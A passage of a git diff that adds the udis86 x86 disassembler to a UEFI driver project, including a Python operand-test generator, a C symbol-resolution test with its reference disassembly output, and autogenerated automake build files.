Opr_MwRv(self, cast=False): + return random.choice((self.Opr_Mw(cast=cast), self.Opr_Gv())) + + def Opr_MwRy(self, cast=True): + return random.choice((self.Opr_Mw(cast=cast), self.Opr_Gy())) + + def Opr_MdRy(self, cast=False): + return random.choice((self.Opr_Md(cast=cast), self.Opr_Gy())) + + def Opr_MbRv(self, cast=False): + return random.choice((self.Opr_Mb(cast=cast), self.Opr_Gv())) + + def Opr_MbRd(self, cast=False): + return random.choice((self.Opr_Mb(cast=cast), self.Opr_Gd())) + + def Opr_MwRw(self, cast=False): + return random.choice((self.Opr_Mw(cast=cast), self.Opr_Gw())) + + def Opr_MwU(self, cast=False): + return random.choice((self.Opr_Mw(cast=cast), self.Xmm())) + + def Opr_MdU(self, cast=False): + return random.choice((self.Opr_Md(cast=cast), self.Xmm())) + + def Opr_MqU(self, cast=False): + return random.choice((self.Opr_Mq(cast=cast), self.Xmm())) + + def Insn_V_MwU(self, cast=False): + return (self.Opr_V(), self.Opr_MwU(cast=True)) + + def Insn_V_MdU(self, cast=False): + return (self.Opr_V(), self.Opr_MdU(cast=True)) + + def Insn_V_MqU(self, cast=False): + return (self.Opr_V(), self.Opr_MqU(cast=True)) + + def Insn_MbRv(self): + return [self.Opr_MbRv(cast=True)] + + def Insn_MbRv_V_Ib(self): + return [self.Opr_MbRv(cast=True), self.Opr_V(), self.Opr_Ib()] + + def Insn_V_MbRd_Ib(self): + return [self.Opr_V(), self.Opr_MbRd(cast=True), self.Opr_Ib()] + + def Insn_MwRv(self): + return [self.Opr_MwRv(cast=True)] + + def Insn_MwRd_V_Ib(self): + return [self.Opr_MwRd(cast=False), self.Opr_V(), self.Opr_Ib()] + + def Insn_S_MwRv(self): + if self.mode == 64: + return [self.Opr_S(), self.Opr_MwRd(cast=False)] + if self.mode == 16: + return [self.Opr_S(), self.Opr_MwRw(cast=False)] + if self.mode == 32: + return [self.Opr_S(), self.Opr_MwRd(cast=False)] + + def Insn_Mw(self): + return [self.Opr_Mw(cast=True)] + + def Insn_Md(self): + return [self.Opr_Md(cast=True)] + + def Insn_Mq(self): + return [self.Opr_Mq(cast=True)] + + def Opr_Eb(self, cast=False): + return self.Modrm_RM_GPR(8, cast=cast) + + def Opr_Ew(self, cast=False): + return self.Modrm_RM_GPR(16, cast=cast) + + def Opr_Ed(self, cast=False): + return self.Modrm_RM_GPR(32, cast=cast) + + def Opr_Eq(self, cast=False): + return self.Modrm_RM_GPR(64, cast=cast) + + def Opr_Ey(self, cast=False): + choices = [self.Modrm_RM_GPR(32, cast=cast)] + if self.mode == 64: + choices.append(self.Modrm_RM_GPR(64, cast=cast)) + return random.choice(choices) + + def Insn_Fv(self): + return ("far "+ self.Opr_Mv(cast=True),) + + def Insn_V_Ew_Ib(self): + return self.Opr_V(), self.Opr_Ew(cast=True), self.Opr_Ib() + + def Insn_V_Eq_Ib(self): + return self.Opr_V(), self.Opr_Eq(cast=True), self.Opr_Ib() + + def Insn_V_Mo(self): + return self.Opr_V(), self.Opr_M() + + def Insn_V_Md_Ib(self): + return self.Opr_V(), self.Opr_Md(cast=True), self.Opr_Ib() + + def Insn_V_Ed_Ib(self): + return self.Opr_V(), self.Opr_Ed(cast=True), self.Opr_Ib() + + def Insn_P_Ew_Ib(self): + return self.Opr_P(), self.Opr_Ew(cast=True), self.Opr_Ib() + + def Insn_V_Ey(self): + return self.Opr_V(), self.Opr_Ey(cast=True) + + def Insn_Ey_V(self): + x, y = self.Insn_V_Ey() + return y, x + + def Insn_P_Ey(self): + return self.Opr_P(), self.Opr_Ey(cast=True) + + def Insn_Ey_P(self): + x, y = self.Insn_P_Ey() + return y, x + + def Opr_Mv(self, cast=False): + choices = [self.Opr_Mw(cast), self.Opr_Md(cast)] + if self.mode == 64: + choices.append(self.Opr_Mq(cast)) + return random.choice(choices) + + def Opr_Ev(self, cast=False): + choices = [self.Opr_Ew(cast), self.Opr_Ed(cast)] + if self.mode == 64: + choices.append(self.Opr_Eq(cast)) + return random.choice(choices) + + def Insn_Ev(self): + choices = [self.Modrm_RM_GPR(16, cast=True), + self.Modrm_RM_GPR(32, cast=True)] + if self.mode == 64: + choices.append(self.Modrm_RM_GPR(64, cast=True)) + return [random.choice(choices)] + + def Opr_V(self): + return self.Xmm() + + def Opr_W(self): + return random.choice([self.Xmm(), self.OprMem(size=128)]) + + def Opr_P(self): + return self.Mmx() + + def Opr_Q(self, cast=False): + return random.choice([self.Mmx(), self.OprMem(size=64, cast=cast)]) + + def Opr_CL(self): + return "cl" + + def Opr_AL(self): + return "al" + + def Opr_Ob(self): + return "[0x100]" + + def Insn_rAX_Ov(self): + choices = [ ("ax", "[0x100]"), ("eax", "[0x1000]") ] + if self.mode == 64: + choices.append(("rax", "[0x1223221]")) + return random.choice(choices) + + def Insn_Ov_rAX(self): + x, y = self.Insn_rAX_Ov() + return y, x + + def Opr_AX(self): + return "ax" + + def Opr_DX(self): + return "dx" + + def Insn_Eb_CL(self): + return self.Opr_Eb(cast=True), self.Opr_CL() + + def Insn_Ev_CL(self): + return self.Opr_Ev(cast=True), self.Opr_CL() + + def Insn_Eb(self): + return [self.Modrm_RM_GPR(size=8, cast=True)] + + def Insn_Ew(self): + return [self.Modrm_RM_GPR(size=16, cast=True)] + + def Insn_Ev_Gv(self): + choices = [ (self.Opr_Ew(), self.Opr_Gw()), + (self.Opr_Ed(), self.Opr_Gd()) ] + if self.mode == 64: + choices.append((self.Opr_Eq(), self.Opr_Gq())) + return random.choice(choices) + + def Insn_Ev_Gy(self): + choices = [ (self.Opr_Ew(), self.Opr_Gd()), + (self.Opr_Ed(), self.Opr_Gd()) ] + if self.mode == 64: + choices.append((self.Opr_Eq(), self.Opr_Gq())) + return random.choice(choices) + + def Insn_Ev_Gv_CL(self): + x, y = self.Insn_Ev_Gv(); + return x, y, self.Opr_CL() + + def Insn_Gv_Ev_CL(self): + x, y = self.Insn_Ev_Gv(); + return y, x, self.Opr_CL() + + def Insn_Gv_Ev_Ib(self): + x, y = self.Insn_Ev_Gv(); + return y, x, self.Opr_Ib(cast=False) + Insn_Gv_Ev_sIb = Insn_Gv_Ev_Ib + + def Insn_Gv_Ev_Iz(self): + choices = [ (self.Opr_Gw(), self.Opr_Ew(), self.Opr_Iw()), + (self.Opr_Gd(), self.Opr_Ed(), self.Opr_Id()) ] + if self.mode == 64: + choices.append((self.Opr_Gq(), self.Opr_Eq(), self.Opr_Iz())) + return random.choice(choices) + + def Insn_Ev_Ib(self): + return self.Opr_Ev(cast=True), self.Opr_Ib() + Insn_Ev_sIb = Insn_Ev_Ib + + def Insn_Gq_Ed(self): + return self.Opr_Gq(), self.Opr_Ed(cast=True) + + def Insn_Gy_Eb(self): + return self.Opr_Gy(), self.Opr_Eb(cast=True) + + def Insn_Gy_Ew(self): + return self.Opr_Gy(), self.Opr_Ew(cast=True) + + def Insn_Ev_Iz(self): + choices = [(self.Opr_Ew(cast=True), self.Opr_Iw()), + (self.Opr_Ed(cast=True), self.Opr_Id())] + if self.mode == 64: + choices.append((self.Opr_Eq(cast=True), self.Opr_Id())) + return random.choice(choices) + Insn_Ev_sIz = Insn_Ev_Iz + + def Insn_Gv_Ev(self): + x, y = self.Insn_Ev_Gv(); + return (y, x) + + def Insn_Gy_Ev(self): + x, y = self.Insn_Ev_Gy(); + return (y, x) + + def Insn_Gv_Eb(self): + return (self.Opr_Gv(), self.Opr_Eb(cast=True)) + + def Insn_Gv_Ew(self): + choices = [(self.Opr_Gw(), self.Opr_Ew(cast=False)), + (self.Opr_Gd(), self.Opr_Ew(cast=True))] + if self.mode == 64: + choices.append((self.Opr_Gq(), self.Opr_Ew(cast=True))) + return random.choice(choices) + + def Insn_V_Q(self): + return [self.Opr_V(), self.Opr_Q(cast=True)] + + def Insn_Eb_Ib(self): + return (self.Opr_Eb(cast=True), self.Opr_Ib(cast=False)) + + def Insn_Eb_I1(self): + return (self.Opr_Eb(cast=True), self.Opr_I1()) + + def Insn_Ev_I1(self): + return (self.Opr_Ev(cast=True), self.Opr_I1()) + + def Insn_Ev_Ib(self): + return (self.Opr_Ev(cast=True), self.Opr_Ib(cast=False)) + Insn_Ev_sIb = Insn_Ev_Ib + + def Insn_Ev_Gv_Ib(self): + choices = [ (self.Opr_Ew(), self.Opr_Gw(), self.Opr_Ib(cast=False)), + (self.Opr_Ed(), self.Opr_Gd(), self.Opr_Ib(cast=False)) ] + if self.mode == 64: + choices.append( + (self.Opr_Eq(), self.Opr_Gq(), self.Opr_Ib(cast=False)) ) + return random.choice(choices) + Insn_Ev_Gv_sIb = Insn_Ev_Gv_Ib + + def Insn_Ev_V_Ib(self): + return (self.Opr_Ev(cast=True), self.Opr_V(), self.Opr_Ib(cast=False)) + + def Insn_Ed_V_Ib(self): + return (self.Opr_Ed(cast=False), self.Opr_V(), self.Opr_Ib(cast=False)) + + def Insn_Ew_V_Ib(self): + return (self.Opr_Ew(cast=True), self.Opr_V(), self.Opr_Ib(cast=False)) + + def generate_yasm( self, mode, seed ): + opr_combos = {} + random.seed( seed ) + print "[bits %s]" % mode + for insn in self.InsnTable: + if insn[ 'mnemonic' ] in self.ExcludeList: + continue + if insn[ 'vendor' ] == 'intel': + continue + if '/m' in insn['opcext']: + mode = insn['opcext']['/m'] + if ( (mode == '00' and self.mode == 64) or + (mode == '01' and self.mode != 64) ): + continue + if '/o' in insn['opcext']: + osize = insn['opcext']['/o'] + if (osize == '02' and self.mode != 64): + continue + if 'def64' in insn[ 'prefixes' ] and mode != '64': + continue + + if len(insn['operands']) == 0: + continue + # print "\t%s" % insn['mnemonic'] + + if ( "Jb" in insn['operands'] or + "Jz" in insn['operands'] ): + continue + + fusedName = '_'.join(insn['operands']) + if fusedName not in opr_combos: + opr_combos[fusedName] = { 'covered' : False, 'freq' : 0 } + opr_combos[fusedName]['freq'] += 1 + + fn = getattr(self, "Insn_" + fusedName , None) + if fn is not None: + operands = ", ".join(fn()) + else: + oprgens = [ getattr(self, "Opr_" + opr, None) + for opr in insn['operands'] ] + if None not in oprgens: + operands = ", ".join([ oprgen() for oprgen in oprgens ]) + else: + operands = None + if operands is not None: + print "\t%s %s" % (insn['mnemonic'], operands) + opr_combos[fusedName]['covered'] = True + + # stats + total = 0 + covered = 0 + for combo in sorted(opr_combos, key=lambda k: opr_combos[k]['freq']): + total += 1 + is_covered = opr_combos[combo]['covered'] + covered += (1 if is_covered else 0) + if not is_covered: + sys.stderr.write("==> %12s : %5d\n" % + (combo, opr_combos[combo]['freq'])) + sys.stderr.write("MODE%s: Coverage = %d / %d (%d%%)\n" % + (self.mode, covered, total, (100 * covered / total))) + +def main(): + generator = UdTestGenerator(int(sys.argv[3])) + optableXmlParser = ud_optable.UdOptableXmlParser() + optableXmlParser.parse( sys.argv[ 1 ], generator.addInsnDef ) + + generator.generate_yasm( sys.argv[ 3 ], int( sys.argv[ 2 ] ) ) + +if __name__ == '__main__': + main() diff --git a/UefiDriver/udis86/tests/symresolve.c b/UefiDriver/udis86/tests/symresolve.c new file mode 100644 index 0000000..cb91c63 --- /dev/null +++ b/UefiDriver/udis86/tests/symresolve.c @@ -0,0 +1,53 @@ +#include +#include + +#if defined(__amd64__) || defined(__x86_64__) +# define FMT "l" +#else +# define FMT "ll" +#endif + +uint8_t bin[] = { + 0x01, 0xc0, 0xeb, 0x11, 0x01, 0xc0, 0xe8, 0x14, + 0x00, 0x00, 0x00, 0x01, 0xc0, 0x01, 0xc0, 0x74, + 0x02, 0x01, 0xc0, 0x90, 0x90, 0xeb, 0xfe, 0x90, + 0x90, 0xeb, 0xf8, 0x90, 0x90, 0x74, 0xf6, 0x90, + 0x90, 0xe8, 0xf4, 0xff, 0xff, 0xff +}; + +static const char* +resolve(struct ud *u, uint64_t addr, int64_t *offset) +{ + *offset = addr - 0x15; + return "target"; +} + +static void +dis_loop(struct ud *ud_obj) +{ + while (ud_disassemble(ud_obj) != 0) { + printf("%016llx %-16s %s\n", ud_insn_off(ud_obj), + ud_insn_hex(ud_obj), + ud_insn_asm(ud_obj)); + } +} + +int +main() { + ud_t ud_obj; + ud_init(&ud_obj); + ud_set_mode(&ud_obj, 32); + ud_set_input_buffer(&ud_obj, bin, sizeof(bin)); + ud_set_syntax(&ud_obj, UD_SYN_INTEL); + + printf("==> Without Symbol Resolution\n"); + dis_loop(&ud_obj); + + printf("==> With Symbol Resolution\n"); + ud_set_pc(&ud_obj, 0); + ud_set_input_buffer(&ud_obj, bin, sizeof(bin)); + ud_set_sym_resolver(&ud_obj, &resolve); + dis_loop(&ud_obj); + + return 0; +} diff --git a/UefiDriver/udis86/tests/symresolve.ref b/UefiDriver/udis86/tests/symresolve.ref new file mode 100644 index 0000000..b0b5eac --- /dev/null +++ b/UefiDriver/udis86/tests/symresolve.ref @@ -0,0 +1,42 @@ +==> Without Symbol Resolution +0000000000000000 01c0 add eax, eax +0000000000000002 eb11 jmp 0x15 +0000000000000004 01c0 add eax, eax +0000000000000006 e814000000 call 0x1f +000000000000000b 01c0 add eax, eax +000000000000000d 01c0 add eax, eax +000000000000000f 7402 jz 0x13 +0000000000000011 01c0 add eax, eax +0000000000000013 90 nop +0000000000000014 90 nop +0000000000000015 ebfe jmp 0x15 +0000000000000017 90 nop +0000000000000018 90 nop +0000000000000019 ebf8 jmp 0x13 +000000000000001b 90 nop +000000000000001c 90 nop +000000000000001d 74f6 jz 0x15 +000000000000001f 90 nop +0000000000000020 90 nop +0000000000000021 e8f4ffffff call 0x1a +==> With Symbol Resolution +0000000000000000 01c0 add eax, eax +0000000000000002 eb11 jmp target +0000000000000004 01c0 add eax, eax +0000000000000006 e814000000 call target+10 +000000000000000b 01c0 add eax, eax +000000000000000d 01c0 add eax, eax +000000000000000f 7402 jz target-2 +0000000000000011 01c0 add eax, eax +0000000000000013 90 nop +0000000000000014 90 nop +0000000000000015 ebfe jmp target +0000000000000017 90 nop +0000000000000018 90 nop +0000000000000019 ebf8 jmp target-2 +000000000000001b 90 nop +000000000000001c 90 nop +000000000000001d 74f6 jz target +000000000000001f 90 nop +0000000000000020 90 nop +0000000000000021 e8f4ffffff call target+5 diff --git a/UefiDriver/udis86/udcli/Makefile.am b/UefiDriver/udis86/udcli/Makefile.am new file mode 100644 index 0000000..dfe2784 --- /dev/null +++ b/UefiDriver/udis86/udcli/Makefile.am @@ -0,0 +1,5 @@ +bin_PROGRAMS = udcli +udcli_SOURCES = udcli.c +udcli_CFLAGS = -I$(top_srcdir)/libudis86 -I$(top_srcdir) +udcli_LDADD = $(top_builddir)/libudis86/libudis86.la +MAINTAINERCLEANFILES = Makefile.in diff --git a/UefiDriver/udis86/udcli/Makefile.in b/UefiDriver/udis86/udcli/Makefile.in new file mode 100644 index 0000000..394e8f3 --- /dev/null +++ b/UefiDriver/udis86/udcli/Makefile.in @@ -0,0 +1,617 @@ +# Makefile.in generated by automake 1.13.1 from Makefile.am. +# @configure_input@ + +# Copyright (C) 1994-2012 Free Software Foundation, Inc. + +# This Makefile.in is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY, to the extent permitted by law; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A +# PARTICULAR PURPOSE. + +@SET_MAKE@ + +VPATH = @srcdir@ +am__make_dryrun = \ + { \ + am__dry=no; \ + case $$MAKEFLAGS in \ + *\\[\ \ ]*) \ + echo 'am--echo: ; @echo "AM" OK' | $(MAKE) -f - 2>/dev/null \ + | grep '^AM OK$$' >/dev/null || am__dry=yes;; \ + *) \ + for am__flg in $$MAKEFLAGS; do \ + case $$am__flg in \ + *=*|--*) ;; \ + *n*) am__dry=yes; break;; \ + esac; \ + done;; \ + esac; \ + test $$am__dry = yes; \ + } +pkgdatadir = $(datadir)/@PACKAGE@ +pkgincludedir = $(includedir)/@PACKAGE@ +pkglibdir = $(libdir)/@PACKAGE@ +pkglibexecdir = $(libexecdir)/@PACKAGE@ +am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd +install_sh_DATA = $(install_sh) -c -m 644 +install_sh_PROGRAM = $(install_sh) -c +install_sh_SCRIPT = $(install_sh) -c +INSTALL_HEADER = $(INSTALL_DATA) +transform = $(program_transform_name) +NORMAL_INSTALL = : +PRE_INSTALL = : +POST_INSTALL = : +NORMAL_UNINSTALL = : +PRE_UNINSTALL = : +POST_UNINSTALL = : +build_triplet = @build@ +host_triplet = @host@ +bin_PROGRAMS = udcli$(EXEEXT) +subdir = udcli +DIST_COMMON = $(srcdir)/Makefile.in $(srcdir)/Makefile.am \ + $(top_srcdir)/build/depcomp +ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 +am__aclocal_m4_deps = $(top_srcdir)/build/m4/libtool.m4 \ + $(top_srcdir)/build/m4/ltoptions.m4 \ + $(top_srcdir)/build/m4/ltsugar.m4 \ + $(top_srcdir)/build/m4/ltversion.m4 \ + $(top_srcdir)/build/m4/lt~obsolete.m4 \ + $(top_srcdir)/m4/ax_compare_version.m4 \ + $(top_srcdir)/m4/ax_prog_sphinx_version.m4 \ + $(top_srcdir)/m4/ax_prog_yasm_version.m4 \ + $(top_srcdir)/m4/ax_with_prog.m4 \ + $(top_srcdir)/m4/ax_with_python.m4 $(top_srcdir)/configure.ac +am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ + $(ACLOCAL_M4) +mkinstalldirs = $(install_sh) -d +CONFIG_HEADER = $(top_builddir)/config.h +CONFIG_CLEAN_FILES = +CONFIG_CLEAN_VPATH_FILES = +am__installdirs = "$(DESTDIR)$(bindir)" +PROGRAMS = $(bin_PROGRAMS) +am_udcli_OBJECTS = udcli-udcli.$(OBJEXT) +udcli_OBJECTS = $(am_udcli_OBJECTS) +udcli_DEPENDENCIES = $(top_builddir)/libudis86/libudis86.la +AM_V_lt = $(am__v_lt_@AM_V@) +am__v_lt_ = $(am__v_lt_@AM_DEFAULT_V@) +am__v_lt_0 = --silent +am__v_lt_1 = +udcli_LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ + $(LIBTOOLFLAGS) --mode=link $(CCLD) $(udcli_CFLAGS) $(CFLAGS) \ + $(AM_LDFLAGS) $(LDFLAGS) -o $@ +AM_V_P = $(am__v_P_@AM_V@) +am__v_P_ = $(am__v_P_@AM_DEFAULT_V@) +am__v_P_0 = false +am__v_P_1 = : +AM_V_GEN = $(am__v_GEN_@AM_V@) +am__v_GEN_ = $(am__v_GEN_@AM_DEFAULT_V@) +am__v_GEN_0 = @echo " GEN " $@; +am__v_GEN_1 = +AM_V_at = $(am__v_at_@AM_V@) +am__v_at_ = $(am__v_at_@AM_DEFAULT_V@) +am__v_at_0 = @ +am__v_at_1 = +DEFAULT_INCLUDES = -I.@am__isrc@ -I$(top_builddir) +depcomp = $(SHELL) $(top_srcdir)/build/depcomp +am__depfiles_maybe = depfiles +am__mv = mv -f +COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \ + $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) +LTCOMPILE = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ + $(LIBTOOLFLAGS) --mode=compile $(CC) $(DEFS) \ + $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \ + $(AM_CFLAGS) $(CFLAGS) +AM_V_CC = $(am__v_CC_@AM_V@) +am__v_CC_ = $(am__v_CC_@AM_DEFAULT_V@) +am__v_CC_0 = @echo " CC " $@; +am__v_CC_1 = +CCLD = $(CC) +LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ + $(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \ + $(AM_LDFLAGS) $(LDFLAGS) -o $@ +AM_V_CCLD = $(am__v_CCLD_@AM_V@) +am__v_CCLD_ = $(am__v_CCLD_@AM_DEFAULT_V@) +am__v_CCLD_0 = @echo " CCLD " $@; +am__v_CCLD_1 = +SOURCES = $(udcli_SOURCES) +DIST_SOURCES = $(udcli_SOURCES) +am__can_run_installinfo = \ + case $$AM_UPDATE_INFO_DIR in \ + n|no|NO) false;; \ + *) (install-info --version) >/dev/null 2>&1;; \ + esac +am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) $(LISP) +# Read a list of newline-separated strings from the standard input, +# and print each of them once, without duplicates. Input order is +# *not* preserved. +am__uniquify_input = $(AWK) '\ + BEGIN { nonempty = 0; } \ + { items[$$0] = 1; nonempty = 1; } \ + END { if (nonempty) { for (i in items) print i; }; } \ +' +# Make sure the list of sources is unique. This is necessary because, +# e.g., the same source file might be shared among _SOURCES variables +# for different programs/libraries. +am__define_uniq_tagged_files = \ + list='$(am__tagged_files)'; \ + unique=`for i in $$list; do \ + if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ + done | $(am__uniquify_input)` +ETAGS = etags +CTAGS = ctags +DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) +ACLOCAL = @ACLOCAL@ +ACLOCAL_AMFLAGS = @ACLOCAL_AMFLAGS@ +AMTAR = @AMTAR@ +AM_DEFAULT_VERBOSITY = @AM_DEFAULT_VERBOSITY@ +AR = @AR@ +AS = @AS@ +AUTOCONF = @AUTOCONF@ +AUTOHEADER = @AUTOHEADER@ +AUTOMAKE = @AUTOMAKE@ +AWK = @AWK@ +CC = @CC@ +CCDEPMODE = @CCDEPMODE@ +CFLAGS = @CFLAGS@ +CPP = @CPP@ +CPPFLAGS = @CPPFLAGS@ +CYGPATH_W = @CYGPATH_W@ +DEFS = @DEFS@ +DEPDIR = @DEPDIR@ +DLLTOOL = @DLLTOOL@ +DSYMUTIL = @DSYMUTIL@ +DUMPBIN = @DUMPBIN@ +ECHO_C = @ECHO_C@ +ECHO_N = @ECHO_N@ +ECHO_T = @ECHO_T@ +EGREP = @EGREP@ +EXEEXT = @EXEEXT@ +FGREP = @FGREP@ +GREP = @GREP@ +INSTALL = @INSTALL@ +INSTALL_DATA = @INSTALL_DATA@ +INSTALL_PROGRAM = @INSTALL_PROGRAM@ +INSTALL_SCRIPT = @INSTALL_SCRIPT@ +INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ +LD = @LD@ +LDFLAGS = @LDFLAGS@ +LIBOBJS = @LIBOBJS@ +LIBS = @LIBS@ +LIBTOOL = @LIBTOOL@ +LIPO = @LIPO@ +LN_S = @LN_S@ +LTLIBOBJS = @LTLIBOBJS@ +MAKEINFO = @MAKEINFO@ +MANIFEST_TOOL = @MANIFEST_TOOL@ +MKDIR_P = @MKDIR_P@ +NM = @NM@ +NMEDIT = @NMEDIT@ +OBJDUMP = @OBJDUMP@ +OBJEXT = @OBJEXT@ +OTOOL = @OTOOL@ +OTOOL64 = @OTOOL64@ +PACKAGE = @PACKAGE@ +PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ +PACKAGE_NAME = @PACKAGE_NAME@ +PACKAGE_STRING = @PACKAGE_STRING@ +PACKAGE_TARNAME = @PACKAGE_TARNAME@ +PACKAGE_URL = @PACKAGE_URL@ +PACKAGE_VERSION = @PACKAGE_VERSION@ +PATH_SEPARATOR = @PATH_SEPARATOR@ +PYTHON = @PYTHON@ +RANLIB = @RANLIB@ +SED = @SED@ +SET_MAKE = @SET_MAKE@ +SHELL = @SHELL@ +SPHINX_BUILD = @SPHINX_BUILD@ +SPHINX_VERSION = @SPHINX_VERSION@ +STRIP = @STRIP@ +VERSION = @VERSION@ +YASM = @YASM@ +YASM_VERSION = @YASM_VERSION@ +abs_builddir = @abs_builddir@ +abs_srcdir = @abs_srcdir@ +abs_top_builddir = @abs_top_builddir@ +abs_top_srcdir = @abs_top_srcdir@ +ac_ct_AR = @ac_ct_AR@ +ac_ct_CC = @ac_ct_CC@ +ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ +am__include = @am__include@ +am__leading_dot = @am__leading_dot@ +am__quote = @am__quote@ +am__tar = @am__tar@ +am__untar = @am__untar@ +bindir = @bindir@ +build = @build@ +build_alias = @build_alias@ +build_cpu = @build_cpu@ +build_os = @build_os@ +build_vendor = @build_vendor@ +builddir = @builddir@ +datadir = @datadir@ +datarootdir = @datarootdir@ +docdir = @docdir@ +dvidir = @dvidir@ +exec_prefix = @exec_prefix@ +host = @host@ +host_alias = @host_alias@ +host_cpu = @host_cpu@ +host_os = @host_os@ +host_vendor = @host_vendor@ +htmldir = @htmldir@ +includedir = @includedir@ +infodir = @infodir@ +install_sh = @install_sh@ +libdir = @libdir@ +libexecdir = @libexecdir@ +localedir = @localedir@ +localstatedir = @localstatedir@ +mandir = @mandir@ +mkdir_p = @mkdir_p@ +oldincludedir = @oldincludedir@ +pdfdir = @pdfdir@ +prefix = @prefix@ +program_transform_name = @program_transform_name@ +psdir = @psdir@ +sbindir = @sbindir@ +sharedstatedir = @sharedstatedir@ +srcdir = @srcdir@ +sysconfdir = @sysconfdir@ +target_alias = @target_alias@ +top_build_prefix = @top_build_prefix@ +top_builddir = @top_builddir@ +top_srcdir = @top_srcdir@ +udcli_SOURCES = udcli.c +udcli_CFLAGS = -I$(top_srcdir)/libudis86 -I$(top_srcdir) +udcli_LDADD = $(top_builddir)/libudis86/libudis86.la +MAINTAINERCLEANFILES = Makefile.in +all: all-am + +.SUFFIXES: +.SUFFIXES: .c .lo .o .obj +$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) + @for dep in $?; do \ + case '$(am__configure_deps)' in \ + *$$dep*) \ + ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ + && { if test -f $@; then exit 0; else break; fi; }; \ + exit 1;; \ + esac; \ + done; \ + echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign udcli/Makefile'; \ + $(am__cd) $(top_srcdir) && \ + $(AUTOMAKE) --foreign udcli/Makefile +.PRECIOUS: Makefile +Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status + @case '$?' in \ + *config.status*) \ + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ + *) \ + echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \ + cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \ + esac; + +$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh + +$(top_srcdir)/configure: $(am__configure_deps) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh +$(ACLOCAL_M4): $(am__aclocal_m4_deps) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh +$(am__aclocal_m4_deps): +install-binPROGRAMS: $(bin_PROGRAMS) + @$(NORMAL_INSTALL) + @list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \ + if test -n "$$list"; then \ + echo " $(MKDIR_P) '$(DESTDIR)$(bindir)'"; \ + $(MKDIR_P) "$(DESTDIR)$(bindir)" || exit 1; \ + fi; \ + for p in $$list; do echo "$$p $$p"; done | \ + sed 's/$(EXEEXT)$$//' | \ + while read p p1; do if test -f $$p \ + || test -f $$p1 \ + ; then echo "$$p"; echo "$$p"; else :; fi; \ + done | \ + sed -e 'p;s,.*/,,;n;h' \ + -e 's|.*|.|' \ + -e 'p;x;s,.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$/$(EXEEXT)/' | \ + sed 'N;N;N;s,\n, ,g' | \ + $(AWK) 'BEGIN { files["."] = ""; dirs["."] = 1 } \ + { d=$$3; if (dirs[d] != 1) { print "d", d; dirs[d] = 1 } \ + if ($$2 == $$4) files[d] = files[d] " " $$1; \ + else { print "f", $$3 "/" $$4, $$1; } } \ + END { for (d in files) print "f", d, files[d] }' | \ + while read type dir files; do \ + if test "$$dir" = .; then dir=; else dir=/$$dir; fi; \ + test -z "$$files" || { \ + echo " $(INSTALL_PROGRAM_ENV) $(LIBTOOL) $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=install $(INSTALL_PROGRAM) $$files '$(DESTDIR)$(bindir)$$dir'"; \ + $(INSTALL_PROGRAM_ENV) $(LIBTOOL) $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=install $(INSTALL_PROGRAM) $$files "$(DESTDIR)$(bindir)$$dir" || exit $$?; \ + } \ + ; done + +uninstall-binPROGRAMS: + @$(NORMAL_UNINSTALL) + @list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \ + files=`for p in $$list; do echo "$$p"; done | \ + sed -e 'h;s,^.*/,,;s/$(EXEEXT)$$//;$(transform)' \ + -e 's/$$/$(EXEEXT)/' \ + `; \ + test -n "$$list" || exit 0; \ + echo " ( cd '$(DESTDIR)$(bindir)' && rm -f" $$files ")"; \ + cd "$(DESTDIR)$(bindir)" && rm -f $$files + +clean-binPROGRAMS: + @list='$(bin_PROGRAMS)'; test -n "$$list" || exit 0; \ + echo " rm -f" $$list; \ + rm -f $$list || exit $$?; \ + test -n "$(EXEEXT)" || exit 0; \ + list=`for p in $$list; do echo "$$p"; done | sed 's/$(EXEEXT)$$//'`; \ + echo " rm -f" $$list; \ + rm -f $$list +udcli$(EXEEXT): $(udcli_OBJECTS) $(udcli_DEPENDENCIES) $(EXTRA_udcli_DEPENDENCIES) + @rm -f udcli$(EXEEXT) + $(AM_V_CCLD)$(udcli_LINK) $(udcli_OBJECTS) 